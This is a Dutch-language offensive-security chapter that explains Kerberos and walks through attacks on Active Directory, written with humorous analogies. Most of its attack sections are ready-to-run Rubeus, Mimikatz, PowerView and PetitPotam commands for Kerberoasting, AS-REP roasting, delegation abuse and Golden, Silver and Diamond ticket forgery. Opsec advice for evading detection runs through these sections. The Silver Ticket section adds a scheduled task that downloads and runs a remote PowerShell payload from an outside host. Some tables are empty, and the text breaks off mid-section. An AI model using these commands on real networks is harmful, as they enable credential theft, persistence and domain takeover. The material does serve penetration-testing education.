Kerberos Aanvallen

“Kerberos – vernoemd naar Cerberus, de driekoppige hellehond die de poorten van de onderwereld bewaakt. Een passende naam voor een protocol dat drie partijen nodig heeft om te functioneren, en dat – net als die hellehond – flink kan bijten als je niet oppast.”

8.1 Het Theater en de Kaartjes

Stel je voor dat je naar het theater gaat. Niet zomaar een theater – een heel groot theater met honderd zalen, duizend voorstellingen en tienduizend bezoekers per avond. Het werkt als volgt:

1. Je komt bij de hoofdkassa (het Key Distribution Center, KDC). Je toont je identiteitsbewijs en je seizoenkaart. De kassamedewerker controleert je naam in het systeem en geeft je een gouden pasje (het Ticket Granting Ticket, TGT). Dit pasje is geldig voor de hele avond.

2. Met je gouden pasje ga je naar een van de loketjes (de Ticket Granting Service, TGS). Je zegt: “Ik wil naar de voorstelling in zaal 7.” Het loketje controleert je gouden pasje en geeft je een toegangskaartje (het Service Ticket) voor die specifieke zaal.

3. Bij de deur van zaal 7 (de service) toon je je toegangskaartje. De portier controleert het kaartje, ziet dat het geldig is, en laat je binnen.

Dat is Kerberos in een notendop. Het is elegant, het is efficient, en het voorkomt dat je bij elke deur opnieuw je identiteitsbewijs moet tonen. Je wachtwoord verlaat nooit het beginpunt – alleen versleutelde tickets reizen door het netwerk.

Het is een briljant systeem. Tenzij iemand de gouden pasjes kan namaken. Of de toegangskaartjes. Of de kassamedewerker omkoopt. En dat is precies wat we in dit hoofdstuk gaan doen.

George zou zeggen: “Kerberos is vernoemd naar een driekoppige hond. Drie koppen. Om een deur te bewaken. Je zou denken dat een hond met een kop genoeg is, maar nee – de Grieken vonden dat er drie moesten zijn. En Microsoft dacht: weet je wat, laten we dat concept pakken en het zo complex maken dat zelfs de hond niet meer weet welke kop waarvoor is.”

8.2 Het Kerberos Protocol: Onder de Motorkap

8.2.1 De Spelers

In Active Directory draait de KDC altijd op de Domain Controller. Het Kerberos-protocol gebruikt standaard poort 88 (TCP/UDP).

8.2.2 De Uitwisseling

Fase 1: Authentication Service Exchange (AS-REQ/AS-REP)

Client                                   KDC (Domain Controller)
  |                                           |
  |-- AS-REQ (username + timestamp) --------->|
  |   (timestamp versleuteld met user's       |
  |    wachtwoord-hash = pre-auth)            |
  |                                           |
  |<-- AS-REP (TGT + session key) ------------|
  |   (TGT versleuteld met krbtgt hash,       |
  |    session key versleuteld met user hash)  |

De client stuurt een AS-REQ naar de KDC met zijn gebruikersnaam en een tijdstempel die versleuteld is met zijn wachtwoord-hash (dit is pre-authentication). De KDC controleert of het wachtwoord klopt door de tijdstempel te ontsleutelen, en stuurt een TGT terug dat versleuteld is met de hash van het krbtgt-account.

Cruciaal detail: het TGT is versleuteld met de krbtgt-hash. De client kan het TGT niet lezen of wijzigen – hij kan het alleen presenteren bij de TGS. Alleen de KDC (die de krbtgt-hash kent) kan het openen.

Fase 2: Ticket Granting Service Exchange (TGS-REQ/TGS-REP)

Client                                   KDC (Domain Controller)
  |                                           |
  |-- TGS-REQ (TGT + SPN van service) ------>|
  |                                           |
  |<-- TGS-REP (Service Ticket) -------------|
  |   (versleuteld met hash van het           |
  |    service account)                       |

De client stuurt zijn TGT samen met de SPN (Service Principal Name) van de gewenste service. De KDC opent het TGT, controleert of het geldig is, en maakt een Service Ticket aan dat versleuteld is met de hash van het service account.

Fase 3: Application Server Exchange

Client                                   Service
  |                                           |
  |-- AP-REQ (Service Ticket) --------------->|
  |                                           |
  |<-- AP-REP (optioneel, mutual auth) ------|

De client toont het Service Ticket aan de service. De service ontsleutelt het met zijn eigen hash, controleert de geldigheid, en verleent toegang.

8.2.3 Encryption Types

Kerberos ondersteunt meerdere encryptie-types. De volgorde van voorkeur:

RC4-HMAC is belangrijk voor aanvallers omdat de sleutel letterlijk de NTLM-hash van het account is. Dit maakt technieken als Pass-the-Hash en Overpass-the-Hash mogelijk. AES-keys zijn afgeleid van het wachtwoord maar zijn niet hetzelfde als de NTLM-hash.

Opmerking: Het is een beetje alsof je huis drie sloten heeft: een hangslot (RC4), een cilinderslot (AES128) en een bankkluis-slot (AES256). Het probleem is dat de meeste mensen nog steeds het hangslot gebruiken omdat het makkelijker is, en de inbreker het liefst bij het hangslot begint.

8.3 Kerberoasting: De Populairste Aanval

8.3.1 Het Concept

Kerberoasting is elegant in zijn eenvoud. Het misbruikt een fundamenteel ontwerpkenmerk van Kerberos: elk Service Ticket is versleuteld met de hash van het service account. Als je een Service Ticket kunt aanvragen, heb je dus een stuk data dat versleuteld is met een wachtwoord – en dat kun je offline proberen te kraken.

Elke geauthenticeerde domain user kan Service Tickets aanvragen voor elke service met een SPN (Service Principal Name). Dat is geen bug, dat is een feature – het is hoe Kerberos werkt. Het probleem ontstaat wanneer service accounts zwakke wachtwoorden hebben.

En ze hebben bijna altijd zwakke wachtwoorden.

Waarom? Omdat service accounts aangemaakt worden door een systeembeheerder die denkt: “Dit is een technisch account, niemand logt hier interactief mee in, dus ‘Zomer2019!’ is prima.” En dan vergeet iedereen dat dat account bestaat. Vijf jaar lang.

8.3.2 Kerberoasting in de Praktijk

IB Command: kerb_kerberoast

# ============================================================
# Kerberoast - Service account wachtwoorden kraken
# ============================================================

# Statistieken bekijken (hoeveel accounts, welke encryption):
.\Rubeus.exe kerberoast /stats

# Specifieke user roasten:
.\Rubeus.exe kerberoast /user:svcadmin /simple

# RC4 opsec (vermijd encryption downgrade detectie):
.\Rubeus.exe kerberoast /stats /rc4opsec
.\Rubeus.exe kerberoast /rc4opsec /outfile:C:\Windows\tasks\hashes.txt

# Kraken met John the Ripper:
john.exe --wordlist=wordlist.txt hashes.txt

Stap voor stap:

1. Stats bekijken – kerberoast /stats toont hoeveel accounts een SPN hebben en welke encryptie ze gebruiken. Accounts met RC4 zijn sneller te kraken dan AES.

2. Tickets aanvragen – Rubeus vraagt een TGS aan voor elk account met een SPN. Het ticket wordt opgeslagen in een formaat dat hashcat of John the Ripper kan lezen.

3. Offline kraken – De hash wordt lokaal gekraakt. Geen netwerkverkeer, geen lockouts, geen detectie (tenzij je de initiële ticket-aanvraag monitort).

Het verschil met brute force:

Met een moderne GPU kun je miljarden RC4-Kerberos-hashes per seconde proberen. Dat betekent dat een wachtwoord van 8 tekens in minuten gekraakt is, niet in jaren.

# Kraken met hashcat (sneller dan John, GPU-acceleratie)
hashcat -m 13100 hashes.txt wordlist.txt -r best64.rule

Let op: De /rc4opsec vlag in Rubeus is belangrijk. Normaal gesproken vraagt Kerberoasting tickets aan met RC4-encryptie, ook als het account AES ondersteunt. Dit is een encryption downgrade die gedetecteerd kan worden. Met /rc4opsec worden alleen accounts getarget die RC4 al gebruiken.

8.3.3 Wat Doe Je Met een Gekraakt Wachtwoord?

Een service account wachtwoord opent deuren. Letterlijk:

• Als het account lokale admin is op servers – Direct toegang via PSRemoting, WMI, of SMB
• Als het account hoge AD-rechten heeft – DCSync, GenericAll, etc.
• Als het account SQL Server sysadmin is – xp_cmdshell, linked server pivoting
• In het slechtste geval – Laterale beweging naar de server waar de service draait

8.4 Targeted Kerberoasting: De Stille Variant

8.4.1 Het Concept

Normale Kerberoasting vereist dat het doelaccount al een SPN heeft. Maar wat als je GenericWrite of GenericAll hebt op een account dat geen SPN heeft? Dan zet je er zelf een op.

Dit is de digitale versie van een inbreker die zelf een slot op een deur monteert waarvan hij de sleutel heeft, en dan doet alsof hij de eigenaar is.

8.4.2 Targeted Kerberoasting in de Praktijk

IB Command: kerb_targeted_kerberoast

# ============================================================
# Targeted Kerberoasting - SPN zetten op user met GenericWrite
# ============================================================

# Stap 1: Check ACL rechten
Import-Module .\PowerView.ps1
Find-InterestingDomainAcl -ResolveGUIDs | ?{
    $_.IdentityReferenceName -match 'currentuser'
}

# Stap 2: Check of target al een SPN heeft
Get-DomainUser -Identity targetuser | select serviceprincipalname

# Stap 3: SPN zetten (moet uniek zijn in domain)
Set-DomainObject -Identity targetuser -Set @{serviceprincipalname='domain/whatever1'}

# Stap 4: Kerberoast
.\Rubeus.exe kerberoast /outfile:C:\Windows\tasks\targeted_hashes.txt

# Stap 5: Kraken
john.exe --wordlist=wordlist.txt targeted_hashes.txt

De stappen:

1. ACL check – Verifieer dat je GenericWrite (of meer) hebt op het doelaccount. Dit komt vaker voor dan je denkt, vooral bij accounts in OUs waar helpdesk-groepen schrijfrechten hebben.

2. SPN check – Controleer of het account al een SPN heeft. Als dat zo is, hoef je geen targeted Kerberoast te doen – gewoon standaard Kerberoasting.

3. SPN zetten – De SPN moet uniek zijn in het domein. Iets als domain/whatever1 is prima – het hoeft nergens naar te verwijzen.

4. Roasten – Rubeus pikt het account nu op als Kerberoastable target.

5. Opruimen – Vergeet niet de SPN weer te verwijderen na de aanval!

# SPN weer verwijderen (opruimen!)
Set-DomainObject -Identity targetuser -Clear serviceprincipalname

George zou zeggen: “Targeted Kerberoasting is als een parkeerboete plakken op iemands auto en dan de boete incasseren. Je creëert het probleem en lost het vervolgens op – ten koste van iemand anders.”

8.5 AS-REP Roasting: Zonder Pre-Authentication

8.5.1 Het Concept

Herinner je je fase 1 van het Kerberos-protocol? De client stuurt een AS-REQ met een versleutelde tijdstempel (pre-authentication) om te bewijzen dat hij het wachtwoord kent. Maar sommige accounts hebben pre-authentication uitgeschakeld. Dit is een instelling in Active Directory: “Do not require Kerberos preauthentication.”

Waarom zou je dit uitschakelen? Goede vraag. Soms voor compatibiliteit met oude systemen. Soms door onwetendheid. Soms omdat iemand een tutorial volgde op internet die het adviseerde. De reden doet er niet toe – het effect is dat je een AS-REP kunt aanvragen voor dat account zonder het wachtwoord te kennen, en dat die AS-REP versleuteld is met de hash van het account.

Klinkt bekend? Inderdaad, het is hetzelfde principe als Kerberoasting, maar dan bij de AS-REP in plaats van de TGS-REP.

8.5.2 AS-REP Roasting in de Praktijk

IB Command: kerb_asreproast

# ============================================================
# AS-REP Roasting - Accounts zonder Kerberos pre-auth
# ============================================================

# Stap 1: Vind accounts zonder pre-auth vereiste
Import-Module .\PowerView.ps1
Get-DomainUser -PreauthNotRequired | select samaccountname,distinguishedname

# Of met AD Module:
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $true} `
    -Properties DoesNotRequirePreAuth

# Stap 2: AS-REP hashes ophalen met Rubeus
.\Rubeus.exe asreproast /format:hashcat `
    /outfile:C:\Windows\tasks\asrep_hashes.txt

# Alleen specifieke user:
.\Rubeus.exe asreproast /user:targetuser /format:hashcat `
    /outfile:C:\Windows\tasks\asrep_hashes.txt

# Stap 3: Crack met hashcat (mode 18200)
hashcat -m 18200 asrep_hashes.txt wordlist.txt --rules-file best64.rule

# Of met John:
john --wordlist=wordlist.txt asrep_hashes.txt

Targeted AS-REP Roasting:

Als je GenericWrite hebt op een account, kun je pre-authentication zelf uitschakelen:

# Disable pre-auth (GenericWrite vereist)
Set-DomainObject -Identity targetuser -XOR @{useraccountcontrol=4194304} -Verbose

Het magische getal 4194304 (0x400000) is de waarde van de DONT_REQUIRE_PREAUTH flag in het userAccountControl-attribuut. De XOR operatie flipt die specifieke bit.

Opmerking: “Het is fascinerend hoe een enkel bitje – een 0 die een 1 wordt, of andersom – het verschil kan maken tussen een beveiligd account en een account dat zijn wachtwoord-hash aan elke voorbijganger uitdeelt. Het doet denken aan die ene schakelaar in een kerncentrale waar ‘AAN’ en ‘UIT’ alleen maar verschilt in de stand van een hendeltje van drie centimeter.”

8.6 Overpass-the-Hash: Van NTLM naar Kerberos

8.6.1 Het Concept

Pass-the-Hash is een bekende techniek: je gebruikt een NTLM-hash om je te authenticeren bij services die NTLM accepteren. Maar veel moderne omgevingen blokkeren NTLM en vereisen Kerberos.

Overpass-the-Hash (ook wel Pass-the-Key genoemd) lost dit op: je gebruikt een NTLM-hash of AES-key om een Kerberos TGT aan te vragen. Daarna gebruik je dat TGT voor Kerberos-authenticatie. Het is een brug tussen de NTLM-wereld en de Kerberos-wereld.

Het is als iemand die een Amerikaans rijbewijs heeft en ermee naar Europa gaat. Het rijbewijs zelf werkt niet op Europese wegen (NTLM geblokkeerd), maar je kunt er een internationaal rijbewijs mee aanvragen (TGT) dat overal geldig is (Kerberos).

8.6.2 Overpass-the-Hash in de Praktijk

IB Command: kerb_opth

# ============================================================
# OverPass-the-Hash - Tokens genereren uit hashes/keys
# ============================================================

# Met Mimikatz (elevated):
C:\AD\Tools\SafetyKatz.exe "sekurlsa::pth `
    /user:Administrator `
    /domain:domain.local `
    /aes256:AES256_KEY `
    /run:powershell.exe" "exit"

# Met Rubeus (geen elevatie nodig):
.\Rubeus.exe asktgt /user:Administrator /rc4:NTLM_HASH /ptt

# Met Rubeus (elevated, opsec met AES):
.\Rubeus.exe asktgt /user:Administrator `
    /aes256:AES256_KEY `
    /opsec `
    /createnetonly:C:\Windows\System32\cmd.exe `
    /show /ptt

Drie methoden, oplopend in stealth:

1. Mimikatz sekurlsa::pth – De klassieke methode. Maakt een nieuw logon-session aan en injecteert de hash/key. Vereist elevated privileges. Opent een nieuw proces (bijv. PowerShell) dat authenticatie uitvoert met de gespecificeerde credentials.

2. Rubeus asktgt met RC4 – Vraagt een TGT aan met de NTLM-hash. Werkt zonder elevatie. Het /ptt (Pass-the-Ticket) flag injecteert het TGT direct in het huidige logon-session.

3. Rubeus asktgt met AES256 en /opsec – De stealthste variant. Gebruikt AES-encryptie (geen RC4 downgrade detectie), maakt een apart logon-session aan via /createnetonly, en toont het resultaat.

Let op: Het verschil tussen /rc4: en /aes256: is significant voor detectie. RC4-gebaseerde Kerberos-requests worden in moderne omgevingen gemarkeerd als verdacht (Event ID 4769 met encryption type 0x17). AES256 vliegt onder de radar.

8.7 Constrained Delegation: Impersonation met Beperking

8.7.1 Het Concept

Delegation in Kerberos is het mechanisme waarmee een service namens een gebruiker kan handelen. Stel: je logt in op een webapplicatie, en die applicatie moet namens jou data ophalen uit een database. De applicatie heeft een gedelegeerd ticket nodig dat zegt: “Ik ben de webapplicatie, maar ik handel namens Jan die net ingelogd is.”

Constrained Delegation beperkt dit tot specifieke services. Het account svc_web mag delegeren naar cifs/dbserver.domain.local – en nergens anders naartoe. Tenminste, dat is de theorie.

In de praktijk werkt het via twee S4U (Service for User) extensies:

• S4U2Self – De service vraagt een ticket aan voor zichzelf namens een andere gebruiker. Dit levert een forwardable service ticket op.

• S4U2Proxy – De service gebruikt dat forwardable ticket om een service ticket aan te vragen voor de gedelegeerde service (bijv. cifs/dbserver).

Het geniale (of afschuwelijke, afhankelijk van je perspectief) is dat je met de /altservice flag in Rubeus het service-gedeelte van het ticket kunt wijzigen. Het ticket zegt cifs/dbserver, maar je past het aan naar ldap/dbserver of host/dbserver of wsman/dbserver. De PAC (Privilege Attribute Certificate) blijft geldig – alleen de service-naam verandert.

8.7.2 Constrained Delegation in de Praktijk

IB Command: kerb_constrained

# ============================================================
# Constrained Delegation aanval - S4U impersonation
# ============================================================

# Stap 1: Vind accounts met constrained delegation
Import-Module .\PowerView.ps1
Get-DomainUser -TrustedToAuth | select samaccountname,msds-allowedtodelegateto
Get-DomainComputer -TrustedToAuth | select dnshostname,msds-allowedtodelegateto

# Stap 2: Hash/TGT van service account verkrijgen
.\Rubeus.exe tgtdeleg /nowrap

# Of met bekende hash:
.\Rubeus.exe asktgt /user:svc_account /rc4:HASH_HERE /nowrap

# Stap 3: S4U (Self + Proxy) - impersonate Administrator
.\Rubeus.exe s4u /ticket:BASE64_TGT `
    /impersonateuser:Administrator `
    /msdsspn:cifs/target.domain.local `
    /altservice:http,host,ldap,wsman `
    /ptt

# Stap 4: Verifieer toegang
ls \\target.domain.local\c$

De stappen uitgelegd:

1. Enumeratie – Get-DomainUser -TrustedToAuth vindt alle accounts met het msDS-AllowedToDelegateToService attribuut ingesteld. Dit attribuut specificeert naar welke services het account mag delegeren.

2. TGT verkrijgen – Je hebt een TGT nodig van het service account. Dit kan via tgtdeleg (als je al een sessie hebt als dat account), of via asktgt met een bekende hash.

3. S4U aanval – Rubeus voert automatisch S4U2Self en S4U2Proxy uit. Je impersoneert Administrator naar de geconfigureerde service. De /altservice parameter voegt extra service-types toe aan het ticket.

4. Toegang – Met een ticket voor cifs/target kun je file shares benaderen. Met host/target kun je scheduled tasks aanmaken. Met wsman/target kun je PSRemoting gebruiken.

George zou zeggen: “Constrained Delegation is Microsoft’s manier om te zeggen: ‘Je mag namens anderen handelen, maar alleen bij deze ene winkel.’ Het probleem is dat je het naamplaatje van die winkel kunt verwisselen met elke andere winkel in het winkelcentrum, en niemand controleert dat.”

8.8 Unconstrained Delegation: De Open Deur

8.8.1 Het Concept

Waar Constrained Delegation nog een poging doet om dingen te beperken, gooit Unconstrained Delegation alle voorzichtigheid overboord. Een server met Unconstrained Delegation ontvangt en bewaart het TGT van elke gebruiker die erop inlogt. Met dat TGT kan de server alles doen wat die gebruiker kan – zonder beperking.

Het is alsof je bij de garderobe van een restaurant je portemonnee, je huissleutels en je identiteitsbewijs afgeeft, en de garderobemedewerker besluit dat hij even een ritje gaat maken met jouw auto en wat boodschappen doet met je creditcard.

8.8.2 De Printer Bug

Het echte gevaar van Unconstrained Delegation ontstaat in combinatie met de Printer Bug (ook wel SpoolSample of PetitPotam). Je dwingt een Domain Controller om zich te authenticeren bij de Unconstrained Delegation server. De DC stuurt zijn TGT mee. Jij vangt dat TGT op. En nu heb je het TGT van een Domain Controller machine account.

Met dat TGT kun je een DCSync uitvoeren – en je hebt de sleutels van het koninkrijk.

8.8.3 Unconstrained Delegation in de Praktijk

IB Command: kerb_unconstrained

# ============================================================
# Unconstrained Delegation aanval - TGT capture via printer bug
# ============================================================

# Stap 1: Vind servers met unconstrained delegation
Import-Module .\PowerView.ps1
Get-DomainComputer -Unconstrained | select dnshostname

# Stap 2: Monitor op binnenkomende TGTs (op unconstrained server)
.\Rubeus.exe monitor /interval:5 /nowrap /filteruser:DC01$

# Stap 3: Trigger printer bug (forceer DC auth)
.\SpoolSample.exe DC01.domain.local WEB01.domain.local

# Of met PetitPotam:
python3 PetitPotam.py WEB01@80/test DC01 -d domain.local -u user -p pass

# Stap 4: TGT verschijnt in Rubeus monitor - inject met PTT
.\Rubeus.exe ptt /ticket:BASE64_DC_TGT

# Stap 5: DCSync met het DC machine account
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt"'

De aanvalsketen:

1. Unconstrained server vinden – Zoek naar computers met de TRUSTED_FOR_DELEGATION flag. Dit zijn vaak oudere servers, web servers, of servers die ooit “even snel” geconfigureerd zijn. Domain Controllers hebben standaard Unconstrained Delegation – maar die hoef je niet te gebruiken (je hebt ze al).

2. Rubeus monitor starten – Op de Unconstrained Delegation server start je Rubeus in monitor-modus. Het luistert naar nieuwe TGTs die binnenkomen in het logon-session cache.

3. Printer Bug triggeren – SpoolSample misbruikt de Print Spooler service op de DC. Het vertelt de DC: “Hé, er is een printupdate voor je op WEB01.” De DC probeert verbinding te maken met WEB01 en stuurt daarbij zijn TGT mee (want Unconstrained Delegation).

   PetitPotam doet hetzelfde maar via het EFS (Encrypting File System) protocol – handig als Print Spooler uitgeschakeld is.

4. TGT injecteren – Het TGT van DC01$ verschijnt in Rubeus. Je injecteert het in je huidige sessie.

5. DCSync – Met het TGT van de DC kun je een DCSync uitvoeren als het machine account, dat standaard de benodigde replicatierechten heeft.

Opmerking: “Het is een cascade-effect dat doet denken aan die reclame voor een muizenval uit de jaren negentig – je plaatst een knikker op een helling, die valt op een wip, die een bal lanceert, die een kooi laat vallen. Alleen is de kooi hier gevuld met de NTLM-hashes van elk account in het hele domein.”

8.9 Resource-Based Constrained Delegation (RBCD)

8.9.1 Het Concept

RBCD draait de controle om. Bij gewone Constrained Delegation zegt het service account: “Ik mag delegeren naar die service.” Bij RBCD zegt het doelcomputer account: “Dit account mag namens anderen naar mij delegeren.”

Het verschil is subtiel maar cruciaal: de instelling staat op het doelobject, niet op het bronobject. Het attribuut heet msDS-AllowedToActOnBehalfOfOtherIdentity.

Waarom is dit relevant? Omdat je met GenericWrite op een computerobject dit attribuut kunt instellen. Je maakt een fake machine account aan, configureert RBCD, en voert een S4U-aanval uit. Geen Domain Admin nodig, geen speciale privileges op de dienst zelf – alleen schrijfrechten op het computerobject.

8.9.2 RBCD in de Praktijk

IB Command: kerb_rbcd

# ============================================================
# Resource-Based Constrained Delegation (RBCD) aanval
# Vereiste: GenericWrite/GenericAll op target computer object
# ============================================================

# Stap 1: Maak fake machine account aan
Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount YOURPC `
    -Password (ConvertTo-SecureString 'Password123!' -AsPlainText -Force) `
    -Verbose

# Stap 2: Bereken RC4 hash van machine account
.\Rubeus.exe hash /password:Password123! /user:YOURPC$ /domain:domain.local

# Stap 3: Configureer RBCD
Import-Module .\PowerView.ps1
Set-ADComputer target$ -PrincipalsAllowedToDelegateToAccount YOURPC$

# Of met PowerView (uitgebreide methode):
Set-DomainObject -Identity 'TARGET$' -Set @{
    'msds-allowedtoactonbehalfofotheridentity'=(
        New-Object Security.AccessControl.RawSecurityDescriptor(
            'O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;S-1-5-21-DOMAIN-SID-YOURPC_RID)'
        )
    ).GetBinaryForm(0,(New-Object byte[] 1024),0)
} -Verbose

# Stap 4: S4U aanval met fake machine account
.\Rubeus.exe s4u /user:YOURPC$ /rc4:HASH_HERE `
    /impersonateuser:Administrator `
    /msdsspn:cifs/target.domain.local /ptt

# Stap 5: Verifieer
ls \\target.domain.local\c$

De stappen uitgelegd:

1. Fake machine account – Standaard mag elke domain user tot 10 machine accounts aanmaken (de ms-DS-MachineAccountQuota, standaard waarde: 10). Powermad maakt dit eenvoudig.

2. Hash berekenen – Je kent het wachtwoord van je fake account, dus je kunt de RC4-hash berekenen. Dit is nodig voor de S4U-aanval.

3. RBCD configureren – Je stelt het attribuut in op het doelcomputer object. “YOURPC$ mag namens anderen delegeren naar TARGET$.”

4. S4U aanval – Rubeus voert S4U2Self en S4U2Proxy uit met je fake machine account, impersonating Administrator.

5. Toegang – Je hebt nu een service ticket als Administrator voor de doelcomputer.

George zou zeggen: “Laat me dit samenvatten. Microsoft laat elke willekeurige domain user tien computers aanmaken in Active Directory. En als je schrijfrechten hebt op een bestaande computer, kun je die nieuwe computer vertellen: ‘Jij mag doen alsof je de baas bent.’ En dan doet hij alsof hij de baas is. Dit is geen beveiligingslek, dit is een architectuurbeslissing. Iemand heeft hier bewust voor gekozen. In een vergadering. Met koffie en koekjes.”

8.10 Golden Ticket: De Kroon

8.10.1 Het Concept

Een Golden Ticket is een vervalst TGT. Omdat het TGT versleuteld is met de hash van het krbtgt-account, en je die hash hebt (via DCSync), kun je TGTs aanmaken voor elke gebruiker, met elke groepslidmaatschap, met elke levensduur die je wilt.

Het is de ultieme persistentiemethode: zelfs als alle wachtwoorden gereset worden, blijft je Golden Ticket geldig. De enige manier om het ongeldig te maken is het krbtgt-wachtwoord twee keer te resetten (vanwege het wachtwoordgeschiedenis-mechanisme).

Vergelijk het met het namaken van de grote zegel van een koninkrijk. Elk document dat je er mee stempelt, wordt automatisch als authentiek beschouwd. En de enige manier om de vervalsingen te stoppen is het ontwerp van de zegel te veranderen – maar dan worden ook alle echte documenten ongeldig.

8.10.2 Golden Ticket in de Praktijk

IB Command: kerb_golden_ticket

# ============================================================
# Golden Ticket - TGT forgery met krbtgt hash
# Vereiste: krbtgt hash (via DCSync = DA nodig)
# ============================================================

# Stap 1: krbtgt hash + domain SID ophalen via DCSync
C:\AD\Tools\SafetyKatz.exe "lsadump::dcsync /user:domain\krbtgt" "exit"

# Of:
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\krbtgt"'

# Stap 2: Golden Ticket aanmaken + injecteren (AES256 = meer opsec)
C:\AD\Tools\BetterSafetyKatz.exe "kerberos::golden `
    /User:Administrator `
    /domain:domain.local `
    /sid:S-1-5-21-DOMAIN-SID `
    /aes256:KRBTGT_AES256_KEY `
    /startoffset:0 /endin:600 /renewmax:10080 `
    /ptt" "exit"

# Met RC4 (minder opsec, meer compatibel):
C:\AD\Tools\BetterSafetyKatz.exe "kerberos::golden `
    /User:Administrator `
    /domain:domain.local `
    /sid:S-1-5-21-DOMAIN-SID `
    /rc4:KRBTGT_NTLM_HASH `
    /id:500 /groups:512 `
    /startoffset:0 /endin:600 /renewmax:10080 `
    /ptt" "exit"

# Stap 3: Verifieer toegang
ls \\dc01.domain.local\c$

# Via Rubeus (opslaan als .kirbi):
.\Rubeus.exe golden /aes256:KRBTGT_AES256_KEY `
    /user:Administrator `
    /domain:domain.local `
    /sid:S-1-5-21-DOMAIN-SID `
    /nowrap

Parameters uitgelegd:

Opsec overwegingen:

• Gebruik AES256 in plaats van RC4 om encryption downgrade detectie te vermijden
• Stel realistische ticket lifetimes in (/startoffset:0 /endin:600 /renewmax:10080) in plaats van de standaard 10 jaar
• Gebruik bestaande gebruikersnamen en RIDs
• Golden Tickets overleeft wachtwoord resets – alleen krbtgt twee keer resetten helpt

Let op: Een Golden Ticket is onzichtbaar voor de DC bij het aanvragen van Service Tickets. Het TGT wordt niet gevalideerd bij de DC – de DC vertrouwt erop dat het TGT geldig is omdat het versleuteld is met de krbtgt hash. Pas bij PAC-validatie (als die is ingeschakeld) kan het gedetecteerd worden.

8.11 Silver Ticket: De Specialist

8.11.1 Het Concept

Waar een Golden Ticket een vervalst TGT is (toegang tot alles), is een Silver Ticket een vervalst Service Ticket (toegang tot een specifieke service). Je hebt de hash van het service account nodig – vaak het machine account van de doelserver.

Het voordeel? Een Silver Ticket raakt de DC helemaal niet. Het wordt direct gepresenteerd aan de service, die het valideert met zijn eigen hash. Geen netwerkverkeer naar de DC, geen logboekregistratie op de DC.

Het nadeel? Het is per-service. Je hebt een apart Silver Ticket nodig voor elke service die je wilt benaderen.

8.11.2 Silver Ticket in de Praktijk

IB Command: kerb_silver_ticket

# ============================================================
# Silver Ticket - TGS forgery met service account hash
# Geen interactie met DC nodig = moeilijker te detecteren
# ============================================================

# Stap 1: Service account hash ophalen (bijv. machine account)
Invoke-Mimikatz -Command '"lsadump::dcsync /user:domain\target$"'

# === CIFS service (file share access) ===
C:\AD\Tools\BetterSafetyKatz.exe "kerberos::golden `
    /User:Administrator `
    /domain:domain.local `
    /sid:S-1-5-21-DOMAIN-SID `
    /target:target-dc.domain.local `
    /service:CIFS `
    /rc4:MACHINE_HASH `
    /startoffset:0 /endin:600 /renewmax:10080 `
    /ptt" "exit"

ls \\target-dc.domain.local\c$

# === HOST service (scheduled task, WMI) ===
C:\AD\Tools\BetterSafetyKatz.exe "kerberos::golden `
    /User:Administrator `
    /domain:domain.local `
    /sid:S-1-5-21-DOMAIN-SID `
    /target:target-dc.domain.local `
    /service:HOST `
    /rc4:MACHINE_HASH `
    /ptt" "exit"

schtasks /create /S target-dc.domain.local /SC Weekly `
    /RU "NT Authority\SYSTEM" /TN "STCheck" `
    /TR "powershell -ep bypass -c IEX(New-Object Net.WebClient).DownloadString('http://10.0.0.1/payloads/amsi-shell.ps1')"

Beschikbare services en hun toepassingen:

Opmerking: “Het verschil tussen een Golden Ticket en een Silver Ticket is als het verschil tussen een loper die alle deuren opent en een sleutel die maar een deur opent. Het klinkt alsof de loper altijd beter is, maar de sleutel heeft een voordeel: de receptionist merkt niet dat je binnengekomen bent.”

8.12 Diamond Ticket: De Onzichtbare

8.12.1 Het Concept

Diamond Tickets zijn de evolutie van Golden Tickets. Het verschil is fundamenteel: een Golden Ticket creëert een nieuw TGT uit het niets. Een Diamond Ticket modificeert een bestaand, legitiem TGT.

Waarom is dit belangrijk? Omdat een Golden Ticket opvalt bij geavanceerde detectie. Het TGT heeft geen bijbehorend AS-REQ in de logboeken van de DC – het is verschenen uit het niets. Een Diamond Ticket daarentegen is gebaseerd op een echt TGT dat via een echte AS-REQ is verkregen. Het enige verschil is dat de PAC (Privilege Attribute Certificate) binnenin gewijzigd is om je verhoogde rechten te geven.

Het is het verschil tussen een vervalst bankbiljet (Golden Ticket) en een echt bankbiljet waarvan het bedrag is gewijzigd (Diamond Ticket). Het eerste kun je herkennen aan het ontbrekende watermerk. Het tweede heeft het watermerk wel – alleen het bedrag klopt niet.

8.12.2 Diamond Ticket in de Praktijk

IB Command: kerb_diamond_ticket

# ============================================================
# Diamond Ticket - TGT modification (meer opsec dan Golden Ticket)
# Verschil: Diamond modificeert een ECHT TGT, Golden maakt een nieuwe
# Voordeel: Ticket heeft echte PAC, moeilijker te detecteren
# ============================================================

# Met user credentials:
.\Rubeus.exe diamond /krbkey:KRBTGT_AES256_KEY `
    /user:currentuser /password:Password123! `
    /enctype:aes `
    /ticketuser:Administrator `
    /domain:domain.local `
    /dc:dc01.domain.local `
    /ticketuserid:500 /groups:512 `
    /createnetonly:C:\Windows\System32\cmd.exe `
    /show /ptt

# Met TGT delegation (geen wachtwoord nodig, meer stealth):
.\Rubeus.exe diamond /krbkey:KRBTGT_AES256_KEY `
    /tgtdeleg `
    /enctype:aes `
    /ticketuser:Administrator `
    /domain:domain.local `
    /dc:dc01.domain.local `
    /ticketuserid:500 /groups:512 `
    /createnetonly:C:\Windows\System32\cmd.exe `
    /show /ptt

# Met NTLM hash in plaats van wachtwoord:
.\Rubeus.exe diamond /krbkey:KRBTGT_AES256_KEY `
    /user:currentuser /rc4:USER_NTLM_HASH `
    /enctype:aes `
    /ticketuser:Administrator `
    /domain:domain.local `
    /dc:dc01.domain.local `
    /ticketuserid:500 /groups:512 `
    /ptt

Parameters:

Waarom Diamond Ticket superieur is:

